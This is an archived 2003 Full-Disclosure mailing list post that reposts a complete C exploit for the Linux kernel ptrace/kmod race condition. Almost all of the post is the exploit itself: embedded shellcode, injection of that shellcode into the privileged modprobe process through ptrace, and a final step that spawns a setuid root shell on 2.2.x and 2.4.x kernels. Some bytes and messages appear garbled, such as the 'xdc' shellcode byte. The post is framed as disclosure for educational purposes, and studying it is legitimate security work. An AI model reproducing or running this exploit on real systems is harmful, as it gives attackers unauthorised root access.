

[Full-Disclosure] Ptrace Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-03/0201.html>

From: Stephen Benjamin (skbenja@attbi.com)

Date: 03/22/03

From: Stephen Benjamin <skbenja@attbi.com>

To: full-disclosure@lists.netsys.com

Date: 21 Mar 2003 23:52:50 -0500

I don't take credit for this, but in case you wanted to see this exploit in action, this is one of the exploits available for it.

/*

* Linux kernel ptrace/kmod local root exploit

*

* This code exploits a race condition in kernel/kmod.c, which creates

* kernel thread in insecure manner. This bug allows to ptrace cloned

* process, allowing to take control over privileged modprobe binary.

*

* Should work under all current 2.2.x and 2.4.x kernels.

*

* I discovered this stupid bug independently on January 25, 2003, that

* is (almost) two month before it was fixed and published by Red Hat

* and others.

*

* Wojciech Purczynski <cliph@isec.pl>

*

* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*

* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY

*

* (c) 2003 Copyright by iSEC Security Research

*/

```
#include <grp.h>
```

```
#include <stdio.h>
```

```
#include <fcntl.h>
```

```
#include <errno.h>
```

```
#include <paths.h>
```

```
#include <string.h>
```

```
#include <stdlib.h>
```

```
#include <signal.h>
```

```
#include <unistd.h>
```

```
#include <sys/wait.h>
```

Full-Disclosure: [Full-Disclosure] Ptrace Exploit

```
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8xdc\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
    perror(msg);
    kill(parent, SIGKILL);
    kill(child, SIGKILL);
    kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
    char buf[MAXPATHLEN + CODE_SIZE];
    unsigned long * src;
    int i, len;

    memcpy(buf, cliphcode, CODE_SIZE);
    len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
    if (len == -1)
        fatal("[ - ] Unable to read /proc/self/exe");

    len += CODE_SIZE + 1;
    buf[len] = '\0';

    src = (unsigned long*) buf;
    for (i = 0; i < len; i += 4)
        if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
            fatal("[ - ] Unable to write shellcode");
}

void sigchld(int signo)
{

```

Full-Disclosure: [Full-Disclosure] Ptrace Exploit

```
struct user_regs_struct regs;

if (gotchild++ == 0)
    return;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
    fatal("[−] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
    fatal("[−] Unable to detach from victim");

exit(0);
}

void sigalrm(int signo)
{
    errno = ECANCELED;
    fatal("[−] Fatal error");
}

void do_child(void)
{
    int err;

    child = getpid();
    victim = child + 1;

    signal(SIGCHLD, sigchld);

    do
        err = ptrace(PTRACE_ATTACH, victim, 0, 0);
    while (err == -1 && errno == ESRCH);

    if (err == -1)
        fatal("[−] Unable to attach");

    fprintf(stderr, "[+] Attached to %d\n", victim);
    while (!gotchild);
    if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
        fatal("[−] Unable to setup syscall trace");
    fprintf(stderr, "[+] Waiting for signal\n");
}
```

Full-Disclosure: [Full-Disclosure] Ptrace Exploit

```
for(;;);
}

void do_parent(char * progname)
{
    struct stat st;
    int err;
    errno = 0;
    socket(AF_SECURITY, SOCK_STREAM, 1);
    do {
        err = stat(progname, &st);
    } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

    if (err == -1)
        fatal("[+] Unable to stat myself");

    alarm(0);
    system(progname);
}

void prepare(void)
{
    if (geteuid() == 0) {
        initgroups("root", 0);
        setgid(0);
        setuid(0);
        execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
        fatal("[+] Unable to spawn shell");
    }
}

int main(int argc, char ** argv)
{
    prepare();
    signal(SIGALRM, sigalrm);
    alarm(10);

    parent = getpid();
    child = fork();
    victim = child + 1;

    if (child == -1)
        fatal("[+] Unable to fork");

    if (child == 0)
        do_child();
    else
        do_parent(argv[0]);

    return 0;
}
```

Full-Disclosure: [Full-Disclosure] Ptrace Exploit

Full-Disclosure – We believe in it.

Charter: <http://lists.netsys.com/full-disclosure-charter.html>